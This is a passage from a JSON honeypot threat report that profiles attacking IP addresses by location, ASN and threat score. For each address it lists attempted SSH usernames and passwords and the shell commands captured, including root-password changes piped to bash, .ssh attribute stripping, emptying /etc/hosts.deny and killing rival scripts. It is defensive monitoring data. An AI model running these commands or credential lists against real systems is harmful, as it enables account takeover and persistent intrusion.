        "cowrie.client.version",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42237,
      "as_org": "w1n ltd",
      "threat_score": 78.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1473,
        "days_active_30d": 30,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T05:53:40.079000+00:00",
        "last_seen_30d": "2026-05-31T20:36:41.575000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 802,
        "Suricata": 656,
        "Honeytrap": 15
      }
    },
    "103.48.192.48": {
      "attack_count": 588,
      "first_seen": "2026-05-12T23:33:34.732Z",
      "last_seen": "2026-05-22T00:11:28.259Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "carla",
        "portal",
        "vhserver",
        "dong",
        "postgres",
        "sammy",
        "scott",
        "soporte",
        "usuario1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "369369",
        "Abc@123456789",
        "Admin123",
        "Changeme123",
        "Erkan123",
        "Explorer",
        "Qaz123wsx",
        "Qwer123",
        "abc123456.",
        "admadm",
        "apache!@",
        "bookkeeper",
        "carla",
        "dagifi1980",
        "deploy123",
        "dino",
        "heather"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nIv6ENc21XMg1\\nIv6ENc21XMg1\\n\"|passwd",
        "echo \"carla\\nStDZnZxC1d9S\\nStDZnZxC1d9S\\n\"|passwd",
        "echo \"portal\\nQxNhYOJVXTYL\\nQxNhYOJVXTYL\\n\"|passwd",
        "echo \"root:1fqBzvqDoNQx\"|chpasswd|bash",
        "echo \"root:FrAqlVgsR8vL\"|chpasswd|bash",
        "echo \"root:MlwnieF1iLpj\"|chpasswd|bash",
        "echo -e \"123456\\nIv6ENc21XMg1\\nIv6ENc21XMg1\"|passwd|bash",
        "echo -e \"carla\\nStDZnZxC1d9S\\nStDZnZxC1d9S\"|passwd|bash",
        "echo -e \"portal\\nQxNhYOJVXTYL\\nQxNhYOJVXTYL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131423,
      "as_org": "Branch of Long Van System Solution JSC - Hanoi",
      "threat_score": 34.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.5,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 710,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T23:33:34.732000+00:00",
        "last_seen_30d": "2026-05-22T00:12:35.954000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 588,
        "Suricata": 122
      }
    },
    "43.156.16.95": {
      "attack_count": 314,
      "first_seen": "2026-05-17T04:32:12.025Z",
      "last_seen": "2026-05-17T05:03:56.875Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1924",
        "19890919",
        "2011",
        "20192019",
        "Aa123456.",
        "Azerty123",
        "K0nig@123",
        "alcapone",
        "angelina",
        "cognos",
        "daddyfather",
        "fgf",
        "fortunato",
        "imyy4u",
        "k0nig#123",
        "nihao123",
        "ou812",
        "panties"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:7hRjoq63bmdd\"|chpasswd|bash",
        "echo \"root:K3L5OLXlClFy\"|chpasswd|bash",
        "echo \"root:ryBuY0JeuKIn\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 377,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T04:32:12.025000+00:00",
        "last_seen_30d": "2026-05-17T05:05:01.581000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 314,
        "Suricata": 63
      }
    },
    "157.230.184.82": {
      "attack_count": 280,
      "first_seen": "2026-05-21T23:14:34.571Z",
      "last_seen": "2026-05-22T00:03:39.186Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "portal",
        "carla",
        "dong",
        "postgres",
        "sammy",
        "scott",
        "soporte",
        "usuario1",
        "vhserver"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "369369",
        "Admin123",
        "Erkan123",
        "Qaz123wsx",
        "Qwer123",
        "carla",
        "portal",
        "qazwsx@123",
        "qwert123!@#",
        "scott",
        "soporte2025",
        "t",
        "usuario1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"portal\\njU9qwUGaP9RO\\njU9qwUGaP9RO\\n\"|passwd",
        "echo \"root:JL8Cb3F62Xpm\"|chpasswd|bash",
        "echo \"root:Zr28Gv91fr7e\"|chpasswd|bash",
        "echo -e \"portal\\njU9qwUGaP9RO\\njU9qwUGaP9RO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T23:14:34.571000+00:00",
        "last_seen_30d": "2026-05-22T00:04:42.167000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 280,
        "Suricata": 50
      }
    },
    "124.156.196.220": {
      "attack_count": 236,
      "first_seen": "2026-05-18T17:06:32.219Z",
      "last_seen": "2026-05-18T17:36:41.360Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!a@b",
        "0727527122",
        "K0nig@1",
        "a12345678@",
        "abc123.",
        "adt123",
        "c0ff33",
        "castis",
        "chang3m3",
        "gladstone",
        "ichbins",
        "jane123",
        "marmitta",
        "monalisa",
        "p@ssword123",
        "qaz123wsx",
        "spotlight",
        "super123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1EXnedNfUwN7\"|chpasswd|bash",
        "echo \"root:c2QojGaHCVJ0\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:06:32.219000+00:00",
        "last_seen_30d": "2026-05-18T17:37:49.433000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "183.104.26.197": {
      "attack_count": 232,
      "first_seen": "2026-05-25T11:51:28.076Z",
      "last_seen": "2026-05-25T13:05:16.916Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "cam",
        "curl",
        "dev",
        "developer",
        "devuser",
        "django",
        "mc",
        "root/bin",
        "stp",
        "term1",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "12345!",
        "12345678",
        "123456Cc",
        "Developer@2024",
        "Password123@",
        "Ubuntu",
        "Wangsu@2017",
        "cam",
        "dev@1234",
        "django123",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "root@123#",
        "stp",
        "td123456",
        "term1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Wangsu@2017\\nmSRSPromxX7c\\nmSRSPromxX7c\\n\"|passwd",
        "echo \"root:MGyhC5zMpWHM\"|chpasswd|bash",
        "echo -e \"Wangsu@2017\\nmSRSPromxX7c\\nmSRSPromxX7c\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Changwon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T11:51:28.076000+00:00",
        "last_seen_30d": "2026-05-25T13:06:23.178000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 232,
        "Suricata": 56
      }
    },
    "77.247.88.103": {
      "attack_count": 228,
      "first_seen": "2026-05-20T18:33:59.352Z",
      "last_seen": "2026-05-21T06:29:00.539Z",
      "sessions": 114,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Albania",
      "country_code": "AL",
      "city": "Tirana",
      "asn": 216046,
      "as_org": "Tele.Co.Albania SHPK",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 341,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:33:59.352000+00:00",
        "last_seen_30d": "2026-05-21T06:30:04.078000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 228,
        "Suricata": 113
      }
    },
    "117.6.44.221": {
      "attack_count": 211,
      "first_seen": "2026-05-23T02:07:16.272Z",
      "last_seen": "2026-05-23T03:07:00.522Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "github",
        "sftpuser",
        "splunk"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "1234",
        "1q2w3e4r5T",
        "1qaz2wsx#EDC",
        "1qaz@2wsx",
        "Aa@123",
        "Abcd1234",
        "L@y3rh0st2023",
        "Password.",
        "Password1",
        "administrador",
        "promo123",
        "qw123",
        "slipknot1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:VWWHQsltuF4e\"|chpasswd|bash",
        "echo \"root:rqRJYatxK1hS\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:07:16.272000+00:00",
        "last_seen_30d": "2026-05-23T03:08:05.248000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 211,
        "Suricata": 46
      }
    },
    "179.61.232.244": {
      "attack_count": 204,
      "first_seen": "2026-05-03T16:18:09.516Z",
      "last_seen": "2026-05-31T20:33:29.705Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 14670,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 59.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.8,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:18:09.516000+00:00",
        "last_seen_30d": "2026-05-31T20:34:33.183000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 102
      }
    },
    "85.24.244.52": {
      "attack_count": 188,
      "first_seen": "2026-05-22T20:52:22.945Z",
      "last_seen": "2026-05-23T07:41:12.224Z",
      "sessions": 94,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Teckomatorp",
      "asn": 8473,
      "as_org": "Bahnhof AB",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 281,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:52:22.945000+00:00",
        "last_seen_30d": "2026-05-23T07:42:15.613000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 93
      }
    },
    "152.32.254.89": {
      "attack_count": 187,
      "first_seen": "2026-05-24T08:06:18.402Z",
      "last_seen": "2026-05-24T08:52:37.006Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "tejas",
        "ts3server"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111",
        "12345",
        "123456789@Ab",
        "1qaz@2wsx",
        "Jd@123456",
        "Tencent@123",
        "newpassword123",
        "qazQAZ123",
        "tejas@123",
        "test1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:tZJpD5VA31MO\"|chpasswd|bash",
        "echo \"test1234\\nd8Qb82W3IQf6\\nd8Qb82W3IQf6\\n\"|passwd",
        "echo -e \"test1234\\nd8Qb82W3IQf6\\nd8Qb82W3IQf6\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T08:06:18.402000+00:00",
        "last_seen_30d": "2026-05-24T08:53:45.923000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 37
      }
    },
    "181.47.9.103": {
      "attack_count": 178,
      "first_seen": "2026-05-16T23:24:42.274Z",
      "last_seen": "2026-05-16T23:57:18.117Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1235",
        "123ewqasd",
        "1941",
        "20192019",
        "2036",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin_1234",
        "P@ssw0rd#123",
        "Qwas3DcxZ21",
        "abc@123456",
        "cake",
        "deploy321",
        "haslo123",
        "hentai",
        "lpadmin",
        "lucas123",
        "nagios1234",
        "peter",
        "redwings"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:8p6beAabMkvf\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Buenos Aires",
      "asn": 27747,
      "as_org": "Telecentro S.A.",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T23:24:42.274000+00:00",
        "last_seen_30d": "2026-05-16T23:58:27.635000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 54
      }
    },
    "124.156.194.190": {
      "attack_count": 168,
      "first_seen": "2026-05-17T16:12:44.534Z",
      "last_seen": "2026-05-17T16:45:20.950Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1Fluturasu123",
        "1q2w3e4r5",
        "3245gs5662d34",
        "345gs5662d34",
        "american",
        "barcea",
        "cgm2010",
        "cmveng123",
        "db2pass",
        "dennis",
        "enable",
        "f976efb7524d473e67fff619f7600811",
        "hell05a",
        "huawei12#$",
        "megan1",
        "muie1234",
        "node",
        "romaric",
        "roro",
        "test0000"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:J2QWUwFIesTM\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T16:12:44.534000+00:00",
        "last_seen_30d": "2026-05-17T16:46:28.907000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 50
      }
    },
    "176.124.88.29": {
      "attack_count": 149,
      "first_seen": "2026-05-25T17:22:06.738Z",
      "last_seen": "2026-05-25T18:30:05.256Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "csuser",
        "curl",
        "geoserver",
        "hello",
        "sms",
        "ubuntu",
        "user1",
        "user4"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "1234qwer!@#$QWER",
        "9090",
        "@12345678",
        "Abc.12345",
        "Abcd1234!",
        "Qaz123456.",
        "Wangsu@2017",
        "aaaaaaaa",
        "csuser",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "geoserver123",
        "raspberry",
        "sms",
        "test@123",
        "welltech12"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Astana",
      "asn": 21299,
